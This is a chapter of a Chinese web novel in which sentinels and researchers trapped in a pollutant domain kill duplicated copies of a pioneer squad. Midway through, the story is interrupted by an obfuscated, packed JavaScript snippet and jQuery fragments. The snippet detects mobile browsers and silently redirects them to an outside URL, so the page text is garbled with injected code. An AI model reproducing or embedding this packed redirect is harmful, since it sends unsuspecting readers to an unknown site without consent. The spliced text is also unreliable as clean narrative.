“那怎么办……”015拓荒者小队队员喃喃,“难道要杀了污染物?”
虽然拓荒者们不比白塔哨兵,但多多少少都有直面污染物的经历,比普通人更知道污染物的可怕。杀死污染物是彻底清除领域的方法,但他们的实力……可能么?
黄博士不置可否,“也有难度。”
污染物领域内,污染物有概率不以真实形态出现,它可能是领域内最不起眼的生物,可能是一株植物,又或者可能整个领域都是污染物本身。
一时间拓荒者小队每个人脸色都很难看,尤其贝尔蒙特,身为队长的他无比后悔为什么被悬赏金额迷了眼,以为碰巧遇上林辛宥和陌陌是天降狗屎运。
现在好了,问题十有八九在林辛宥和陌陌身上,是他导致全队陷入险境。
相比之下研究员们就镇定得多,在飞行器忙碌地上上下下,也可能是防护服一穿,外人也看不清他们表情。
“不是他们。”
被污染物领域影响不能使用的飞行器上,又下来几个人。
其中一个略矮的防护服说,“这两个Omega不是污染物。”
看得出贝尔蒙特不相信这个结论,可况野不由自主地稍微直起身,她隐隐约约清楚为什么这个人这样肯定。
这是个向导。
说起来这还是况野觉醒精神体后,第一次接触到向导。
向导对其余哨兵的吸引是一种很奇妙的感觉,事实上况野并不确切地知道自己是哨兵还是向导,可她的视线依旧不受控制跟着那人转动。
就好像每个人原本都有根磁场线,在人群里交织成复杂的网。而只有向导经过的时候,会拨动这张原本平静的网,没有经验的觉醒者们很难忍住不把注意力放在向导身上。
所以,况野眨眨眼,脑内更新认知体验,匹配度高的Alpha和Omega之间也是类似的感受?不是AO恋小说纯粹为了市场编出来的?
旋即她又意识到,就这么几位研究员配备了一名向导两名哨兵护卫,研究院甚至于白塔,对黄博士此行任务真是极其看重。
黄博士:“李向导,你能感知到污染物的位置么?”
“我不能。”李观棋直白地说,“我的精神力只有A级,和污染物距离够近我才能感知到。”
哨兵强化□□,向导强化精神力。
向导为哨兵稳定精神力,降低污染值,疗愈创伤;在战场上感知污染物和核。从某种程度上说,向导比哨兵更珍稀,往往受到严密保护。所以李观棋一直呆在更安全的飞行器上没下来。
况野忽然想到了自己,□□和精神力强化都没多少,她本人包括她的精神体,都是不折不扣的异类。
黄博士不见任何情绪波动,兀自沉思着。
就在这时,一只棕色的企鹅摇摇摆摆地从李观棋身边走到蔺琅那,低下喙,帮翅膀受重伤的蛇雕整理羽毛。因为圆滚滚的,这个动作它做起来有点笨拙。
况野拼命压住喉咙里的笑,后知后觉她是导致蛇雕精神体这么凄凄惨惨的元凶。
如果不是在污染物领域里,况野还真想腆着脸摸摸李观棋的精神体。少见的停留在幼崽形态的王企鹅,像个毛绒绒的大猕猴桃,光看外表手感就很好。
况野感觉李观棋看了她一眼,紧接着安抚过蛇雕的王企鹅幼崽,又蹒跚地向况野走来。
“精神体还能这样?”旁观的015小队队员惊讶,看着王企鹅幼崽把自己塞到况野受伤的左手下,小脑袋一拱一拱的。他们之前也没亲眼见过,只知道向导的精神体可以治疗。
“如果释放精神体,治疗效果会更好。”李观棋友好地说。跟这里的其他人一比,她的身量太娇小了,让人感觉她年龄偏小。
况野紧紧绷着脸,注意不要摸王企鹅幼崽太过火了,恋恋不舍举起左手的时候,血已经止住了。
“谢谢。”况野说。
李观棋:“举手之劳。”
一旁的蔺琅翻了个白眼。
因为污染物,拓荒者小队,况野,以及研究员们三方达成了暂时的和谐。
表面上况野似乎已经忘了刚刚和蔺琅的生死搏斗。她不想错过搜集孢子的机会,但一个人搞定污染物领域听上去像天方夜谭。
她目前准备等合适时机再脱队,想办法搜集孢子。
那边黄博士发话了,决定马上动身。
开不了飞行器,研究员们就把重要物资一趟趟转移到拓荒者小队的车队上,有拓荒者搭把手,物资很快就搬完了。
就在015小队队员将物资放进后备箱时,他听到了车辆的轰鸣,很快放大逼近。队员疑惑地转过身去,然后就像见鬼一样,手剧烈颤抖起来。
一模一样的,不能再熟悉的三辆越野,正气势汹汹驶来。
>
见鬼了,真是大白天见鬼了。
队长贝尔蒙特通过望远镜,确定远处是015拓荒者小队的车不会有错。就连第一辆越野车前杠瘪下去一块也完全一致,那是015小队本次任务在路上撞的,有另一台损伤一模一样的车可能性太低了。
两伙人都上了车,十几道目光紧盯后视镜。
况野被推上了第二辆车,和陌陌,蔺琅坐在一起。贝尔蒙特队长拿着枪,亲自看着林辛宥。
车上会是什么东西?
伴随车队在视野里逐渐清晰,恐惧不安像是潮水般在所有人心里涨潮。
某个队员喃喃自语:“我记起来了,那条路边有棵树,我们走过时在树下休整了一下……”
仿佛言出法随般,越野车队真的在树下停了下来!
“真他……见鬼了!”贝尔蒙特恶狠狠地说。这个满脸络腮胡的大汉瞳孔紧缩,因为在下车休整的人里他赫然看到了自己!
不知道未知生物顶着自己的脸,重复和自己一模一样的举动是什么样惊悚的感受。况野看了下时间,从碰上015拓荒者小队到现在差不多过去了快一个小时。
复制。
这个污染物领域不仅仅复制粘贴植被和地形,还复制出了另一队015小队,这些“赝品们”完美复刻着小队之前的举动。
密闭空间空气污浊,况野连想深呼吸平缓心率都不能随意,怕被熏晕。她脑内一帧帧检索昨晚以来的记忆,时间轴倒拨一个小时,那时她位于大树偏北十几米的位置。
现在同一位置上并没有出现第二个她。
空中也没有第二架飞行器。
问题来了,为什么只有015拓荒者小队被领域复制了?
对讲机里是黄博士冷静的声音:“他们上车了。预计二十秒后进入射程。”
贝尔蒙特一愣:“博士,您是说……”
杀了他们吗?
贝尔蒙特越看“赝品们”越恍惚,很多习惯性的举动和他们本人别无二致,看久了以至于015拓荒者小队都产生了一种强烈疑惑,哪一边才是真的?他们……是真的吗?
“对方极大可能非人。”黄博士说,“贝尔蒙特队长,过往任务中,你对污染区的异常情况会怎么应对?”
他会抢先杀掉对方。贝尔蒙特下意识在心里说。
污染区里就是这样,犹豫哪怕一秒就容易死亡,不光是为了自己的命,对队友生命负责,他也要这样做。
或许是贝尔蒙特的迟疑让黄博士略微不满,“算了。让蔺琅和叶鸣来。”
蔺琅不屑地轻哼了一声,拉开车门,光明正大暴露在车队视野里。
与此同时对方也发现了他们,车队不但没有寻找掩体,反而加速朝他们冲过来。最前面的防弹车窗摇下,里面的人抬枪就射!
这……完全是他会做出的反应。贝尔蒙特想。
然而枪声只响了一声,转瞬哑火了。
不知何时出现的蛇雕钳住了枪手的脖子,硬生生将他上半身扯出半开的窗外。
一连串玻璃碎裂和惨叫声,失去方向的越野左右乱晃,蛇雕覆盖着坚硬鳞片的利爪撕开了车顶,光线和死亡落进车里。
砰——
枪响。叶鸣早已爬上车顶架好支架,他的枪法非常准,稳而有节奏地扣下扳机,将子弹送进大脑。
后面两辆车的驾驶员见状不对,想掉头跑,脖颈忽地被看不见的精神体绞紧,最终活活窒息倒在方向盘上。
这是一场屠杀。
来得突然,结束得也快。
不到两分钟,污染物复制出来的015小队无一生还。
三辆越野就像开了盖的罐头,鲜红的汁液从车门缝里一点点溢出。车门开启,泡在血污里的人软软地滑了出去,眼睛睁开一条缝,失神叫出凶手的名字:“队……长……”
砰!
叶鸣给他心口补了一枪。
贝尔蒙特倒退好几步,鞋面上溅到了血,干涩地说,“他们没有变成孢子……”
浓烈血腥味让况野的胃里翻江倒海,她别开脸,视线避开血肉模糊的尸体。
污染物伪装出来的生物本质上还是孢子,可等了几分钟这些尸体还保持着死不瞑目的人形,没有崩裂成孢子。况野猜测这,难道说明……他们是人类?
她眨了眨眼睛,强迫自己再观察复制人尸体仔细一点,没几秒就背过身去,忍不住干呕。
在来这个世界前况野是良好公民,来这个世界后没杀过人。
哪怕只是疑似同类的尸体,对她的冲击也太大了。
“太神奇了。”黄博士低声赞叹。
斯文清秀的研究员轻柔按压着死人手臂,凑近观察皮肤下隐隐透出的血管,如同弹奏昂贵的钢琴。死亡没多久,尸体的肌肉还是柔软的。他分别切割了复制人不同部位的组织做样本,十二具尸体无一遗漏,才回到车上。
这期间陌陌留在车里,况野给了她一些药膏,处理完伤口,Omega整张脸看上去没那么可怕了。
一见到况野回来,陌陌就贴着况野追问,“怎么样,那些怪物是不是都死了?”
在陌陌的观念里,她本人好端端在这里,后面那些冒牌货肯定不是人。
眼前陌陌的脸和她双目圆睁的死相重合在一起,况野努力维持平静。她含糊其辞:“应该吧。”
接下来的路程,他们又碰上了几队复制人。
蔺琅和叶鸣重复着杀戮,补枪的流程,黄博士和研究员们难以抑制对复制人的兴趣,他们甚至低声商议携带走一具尸体的可行性。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372838|200008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
015拓荒者小队表情越发麻木,精神状态越发低沉。到后来队员们拒绝再下车,不断看见不知什么东西顶着自己的面孔死去,不是什么开心的事。
况野听见一位队员悄悄问贝尔蒙特队长,他们是不是会困在污染物领域里,再也走不出去了。
“你们还好意思抱怨。”
况野听得清,当然也逃不过白塔哨兵蔺琅的耳朵。她烦躁地丢掉手里擦匕首的绒布,“要不是你们把不知道什么玩意带回来,我们也不会被困在污染物领域里!复制人你们又下不去手,都是我在干活,还敢在这唧唧歪歪的!”
015小队的拓荒者们理亏不说话了。
除了心虚,还有未曾察觉的恐惧。
蔺琅和叶鸣两个哨兵杀复制人跟砍瓜切菜似的,看多了,他们也担心被杀掉。因而明明搭的是拓荒者们的车,不知不觉间黄博士反过来控制了整个小队。
况野:“我们动身快两个小时了,但是还没到信号塔。”
填满惴惴不安和烦躁的狭小车厢里,况野的平静显得格格不入。
理论上对称轴一定穿过两座信号塔中间,持续向着信号塔进发,起码能保证他们位于对称轴的一侧。
其他人一怔,纷纷向外看去,信号塔矗立在荒草里,像个可以捏在手里的缩小玩具:对啊,开了这么久,岂止是到达信号塔,他们和信号塔的距离似乎压根没怎么缩短过。
看来,她预计的最糟糕的情况发生了。况野想,揣在兜里的手缓缓捏紧了。
污染物领域的对称轴在跟随他们脚步随时变动!
这意味着不管他们走多久,往哪个方向前进,都永远不可能走出领域。
况野心情相当糟糕,击杀污染物当然是风险和机会并存,可第二次撞上污染物,就碰上这么诡异的污染物是不是太超过了?
她甚至产生了一种感觉,领域就好像一个迷宫,至今没露面的污染物津津有味地在看他们这些小白鼠在迷宫中乱窜,一旦小白鼠发现正确的道路,就会被污染物捉起来放回出发点。
另一边黄博士也发现了这一点。
他用对讲机告知了其他两台越野当下情况。有况野提前打过预防针,贝尔蒙特他们情绪还算稳定;而最后知道的队员们心态已经崩溃了。
“我们是不是……要死在这里了?”
“还不会。或者说我们还不会那么快死。”黄博士冷静指出,“交通工具的油量还够开一周,饮用水和食物也还有三天的量。首要担心的不是物资,而是污染物随时可能攻击。”
015拓荒者小队现在只懂得追问了:“那我们现在怎么办?”
“现在,”黄博士说,“需要所有人配合我的计划。”
>
三台越野呈三角形,把他们围在里面。
况野视线在场内打转一圈,明明间隔不过三四个小时,015拓荒者小队队员们沧桑得就好像老了好几岁,燃尽的希望和未知的恐惧最折磨人。
拓荒者们看黄博士就像看救星。
人群外围,陌陌靠近况野。潜意识在污染物领域,只有这个和她几面之缘的Beta能给她点安全感。
陌陌小声嘀咕:“也不知道那个博士打算怎么做。”
“……我们的利益一致,都是离开这个领域。”
可是对称轴在贴着车队变化。况野在心里无声地说。
“大家可以发现对称轴跟着我们变化。”黄博士开口,“有一个解决的办法。”
况野双臂环胸,远眺的目光落在信号塔塔尖。解决的方法不难,既然对称轴跟随他们移动,那么假如他们分为两部分同时往左右信号塔走,对称轴有可能随着一方活动,也可能固定。
不管如何,总有一队会到达某座信号塔下。
黄博士:“首先,分为两队……”
他宣布的办法和况野所想的分毫不差!
问题是,没有人甘愿脱离大部队,做探路的小白鼠。谁都清楚这样做面对的风险很大。
如果可以选边的话,所有人都希望能和哨兵向导以及黄博士一队。
果不其然,在黄博士说完后,没有人敢吱声接茬,纷纷回避他的眼神。
“没人自愿的话,由我来指定。”黄博士此时的声音很接近人工智能的电子音,冷漠,专业,平静。
黄博士:“况小姐,第一位。”
越过人群,况野和黄博士短暂对视了。
当然会选她。
况野心想要是她站在黄博士立场上,没有理由不选择自己。从一开始黄博士没杀了她,就是等着危险的时候把她这个来路不明的觉醒者抛出去用的。
接下来黄博士又点了贝尔蒙特和陌陌。
一个觉醒者,一个拓荒者小队队长,都是战力;而陌陌是从F7污染区出来的,虽然李观棋排除了她和林辛宥是污染物伪装的嫌疑,但依旧是个定时炸弹。
黄博士的安排最大限度保证了研究员们安全的同时,方方面面都挑不出错。
“最后一位,塞西尔。”
面对塞西尔少爷惊恐的神情,黄博士递给他一支枪,淡淡地总结:“祝你们和我们都好运。”